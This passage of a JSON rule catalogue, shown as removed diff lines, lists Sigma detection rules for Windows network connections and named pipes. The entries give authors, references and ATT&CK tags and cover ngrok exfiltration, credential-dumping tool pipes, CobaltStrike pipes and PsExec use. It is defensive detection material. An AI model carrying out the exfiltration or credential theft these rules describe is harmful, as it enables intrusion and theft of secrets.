"net_connection_win_ngrok_io.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://ngrok.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml", - "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.001" - ] - }, - "uuid": "18249279-932f-45e2-b37a-8925f2597670", - "value": "Communication To Ngrok.Io" - }, - { - "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/11/03", - "falsepositive": [ - "Legitimate use of ngrok" - ], - "filename": "net_connection_win_ngrok_tunnel.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml", - "https://twitter.com/hakluke/status/1587733971814977537/photo/1" - ], - "tags": [ - "attack.exfiltration", - "attack.command_and_control", - "attack.t1567", - "attack.t1568.002", - "attack.t1572", - "attack.t1090", - "attack.t1102", - "attack.s0508" - ] - }, - "uuid": "1d08ac94-400d-4469-a82f-daee9a908849", - "value": "Communication To Ngrok Tunneling Service" - }, - { - "description": "Detects suspicious network connection by Notepad", - "meta": { - "author": "EagleEye Team", - "creation_date": "2020/05/14", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_notepad_network_connection.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml", - "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/" - ], - "tags": [ - "attack.command_and_control", - "attack.execution", - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", - "value": "Notepad Making Network Connection" - }, - { - "description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/13", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "net_connection_win_powershell_network_connection.yml", - "level": "low", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml", - "https://www.youtube.com/watch?v=DLtJTxMWZ2o" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b", - "value": "PowerShell Network Connections" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Legitimate python script" - ], - "filename": "net_connection_win_python.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml", - "https://pypi.org/project/scapy/" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6", - "value": "Python Initiated Connection" - }, - { - "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/02/16", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_rdp_reverse_tunnel.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml", - "https://twitter.com/SBousseaden/status/1096148422984384514" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001", - "car.2013-07-002" - ] - }, - "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4", - "value": "RDP Over Reverse SSH Tunnel" - }, - { - "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/29", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_rdp_to_http.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml", - "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001", - "car.2013-07-002" - ] - }, - "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481", - "value": "RDP to HTTP or HTTPS Target Ports" - }, - { - "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", - "meta": { - "author": "Dmitriy Lifanov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_regsvr32_network_activity.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml", - "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/" - ], - "tags": [ - "attack.execution", - "attack.t1559.001", - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095", - "value": "Regsvr32 Network Activity" - }, - { - "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", - "falsepositive": [ - "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", - "Network Service user name of a not-covered localization" - ], - "filename": "net_connection_win_remote_powershell_session_network.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006" - ] - }, - "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045", - "value": "Remote PowerShell Session (Network)" - }, - { - "description": "Detects a rundll32 that communicates with public IP addresses", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/11/04", - "falsepositive": [ - "Communication to other corporate systems that use IP addresses from public address spaces" - ], - "filename": "net_connection_win_rundll32_net_connections.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.execution" - ] - }, - "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263", - "value": "Rundll32 Internet Connection" - }, - { - "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", - "meta": { - "author": "frack113", - "creation_date": "2022/08/28", - "falsepositive": [ - "Legitimate scripts" - ], - "filename": "net_connection_win_script.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c", - "value": "Script Initiated Connection" - }, - { - "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/08/28", - "falsepositive": [ - "Legitimate scripts" - ], - "filename": "net_connection_win_script_wan.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc", - "value": "Script Initiated Connection to Non-Local Network" - }, - { - "description": "Detects a possible remote connections to Silenttrinity c2", - "meta": { - "author": "Kiran kumar s, oscd.community", - "creation_date": "2020/10/11", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.t1127.001" - ] - }, - "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4", - "value": "Silenttrinity Stager Msbuild Activity" - }, - { - "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_susp_binary_no_cmdline.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml", - "https://redcanary.com/blog/raspberry-robin/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "20384606-a124-4fec-acbb-8bd373728613", - "value": "Suspicious Network Connection Binary No CommandLine" - }, - { - "description": "Detects suspicious network connection by Cmstp", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_susp_cmstp.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.003" - ] - }, - "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d", - "value": "Cmstp Making Network Connection" - }, - { - "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/20", - "falsepositive": [ - "Legitimate use of the API with a tool that the author wasn't aware of" - ], - "filename": "net_connection_win_susp_dropbox_api.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml", - "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east" - ], - "tags": "No established tags" - }, - "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68", - "value": "Suspicious Dropbox API Usage" - }, - { - "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", - "meta": { - "author": "frack113, Tim Shelton (fps)", - "creation_date": "2022/07/14", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_susp_epmap.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/RiccardoAncarani/TaskShell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml" - ], - "tags": [ - "attack.lateral_movement" - ] - }, - "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43", - "value": "Suspicious Epmap Connection" - }, - { - "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", - "meta": { - "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Other browsers" - ], - "filename": "net_connection_win_susp_outbound_kerberos_connection.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml", - "https://github.com/GhostPack/Rubeus" - ], - "tags": [ - "attack.credential_access", - "attack.t1558", - "attack.lateral_movement", - "attack.t1550.003" - ] - }, - "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74", - "value": "Suspicious Outbound Kerberos Connection" - }, - { - "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", - "meta": { - "author": "elhoim", - "creation_date": "2022/04/28", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_susp_outbound_mobsync_connection.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml" - ], - "tags": [ - "attack.t1055", - "attack.t1218", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b", - "value": "Microsoft Sync Center Suspicious Network Connections" - }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Other SMTP tools" - ], - "filename": "net_connection_win_susp_outbound_smtp_connections.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://www.ietf.org/rfc/rfc2821.txt", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "9976fa64-2804-423c-8a5b-646ade840773", - "value": "Suspicious Outbound SMTP Connections" - }, - { - "description": "Detects programs with network connections running in suspicious files system locations", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2017/03/19", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_susp_prog_location_network_connection.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml", - "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f", - "value": "Suspicious Program Location with Network Connections" - }, - { - "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", - "meta": { - "author": "Markus Neis", - "creation_date": "2019/05/15", - "falsepositive": [ - "Other Remote Desktop RDP tools", - "Domain controller using dns.exe" - ], - "filename": "net_connection_win_susp_rdp.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_rdp.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.001", - "car.2013-07-002" - ] - }, - "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", - "value": "Suspicious Outbound RDP Connections" - }, - { - "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/12", - "falsepositive": [ - "Legitimate use of wuauclt.exe over the network." - ], - "filename": "net_connection_win_wuauclt_network_connection.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://dtm.uk/wuauclt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954", - "value": "Wuauclt Network Connection" - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "creation_date": "2019/09/12", - "falsepositive": [ - "Programs using PowerShell directly without invocation of a dedicated interpreter." - ], - "filename": "pipe_created_alternate_powershell_hosts_pipe.yml", - "level": "medium", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a", - "value": "Alternate PowerShell Hosts Pipe" - }, - { - "description": "Detects a named pipe used by Turla group samples", - "meta": { - "author": "Markus Neis", - "creation_date": "2017/11/06", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_apt_turla_namedpipes.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://attack.mitre.org/groups/G0010/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml", - "Internal Research" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1106" - ] - }, - "uuid": "739915e4-1e70-4778-8b8a-17db02f66db1", - "value": "Turla Group Named Pipes" - }, - { - "description": "Detects well-known credential dumping tools execution via specific named pipes", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/11/01", - "falsepositive": [ - "Legitimate Administrator using tool for password recovery" - ], - "filename": "pipe_created_cred_dump_tools_named_pipes.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_cred_dump_tools_named_pipes.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005" - ] - }, - "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e", - "value": "Cred Dump-Tools Named Pipes" - }, - { - "description": "Detects creation of default named pipe used by the DiagTrackEoP POC", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/03", - "falsepositive": [ - "Unlikely" - ], - "filename": "pipe_created_diagtrack_eop_default_pipe.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml", - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", - "value": "DiagTrackEoP Default Named Pipe" - }, - { - "description": "Detects the pattern of a pipe name as used by the tool EfsPotato", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_efspotato_namedpipe.yml", - "level": "high", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml", - "https://github.com/zcgonvh/EfsPotato", - "https://twitter.com/SBousseaden/status/1429530155291193354?s=20" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2", - "value": "EfsPotato Named Pipe" - }, - { - "description": "Detects creation of default named pipes used by the Koh tool", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "pipe_created_koh_default_pipe.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_koh_default_pipe.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1528", - "attack.t1134.001" - ] - }, - "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a", - "value": "Koh Default Named Pipes" - }, - { - "description": "Detects the creation of a named pipe as used by CobaltStrike", - "meta": { - "author": "Florian Roth, Wojciech Lesicki", - "creation_date": "2021/05/25", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_mal_cobaltstrike.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/Neo23x0/sigma/issues/253", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", - "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", - "https://twitter.com/d4rksystem/status/1357010969264873472", - "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2", - "value": "CobaltStrike Named Pipe" - }, - { - "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_mal_cobaltstrike_re.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike_re.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a", - "value": "CobaltStrike Named Pipe Pattern Regex" - }, - { - "description": "Detects the creation of a named pipe used by known APT malware", - "meta": { - "author": "Florian Roth, blueteam0ps, elhoim", - "creation_date": "2017/11/06", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_mal_namedpipes.yml", - "level": "critical", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://www.us-cert.gov/ncas/alerts/TA17-117A", - "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://securelist.com/faq-the-projectsauron-apt/75533/", - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a", - "value": "Malicious Named Pipe" - }, - { - "description": "Detects PAExec default named pipe", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_paexec_default_pipe.yml", - "level": "medium", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5", - "value": "PAExec Default Named Pipe" - }, - { - "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/09/12", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_powershell_execution_pipe.yml", - "level": "informational", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c", - "value": "PowerShell Execution Via Named Pipe" - }, - { - "description": "Detects PsExec service installation and execution events (service and Sysmon)", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/06/12", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_psexec_default_pipe.yml", - "level": "low", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "f3f3a972-f982-40ad-b63c-bca6afdfad7c", - "value": "PsExec Default Named Pipe" - }, - { - "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/04", - "falsepositive": [ - "Rare legitimate use of psexec from the locations mentioned above" - ], - "filename": "pipe_created_psexec_default_pipe_from_susp_location.yml", - "level": "high", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463", - "value": "PsExec Tool Execution From Suspicious Locations - PipeName" - }, - { - "description": "Detecting use PsExec via Pipe Creation/Access to pipes", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/05/10", - "falsepositive": [ - "Legitimate Administrator activity" - ], - "filename": "pipe_created_psexec_pipes_artifacts.yml", - "level": "medium", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_pipes_artifacts.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "9e77ed63-2ecf-4c7b-b09d-640834882028", - "value": "PsExec Pipes Artifacts" - }, - { - "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", - "meta": { - "author": "Roberto 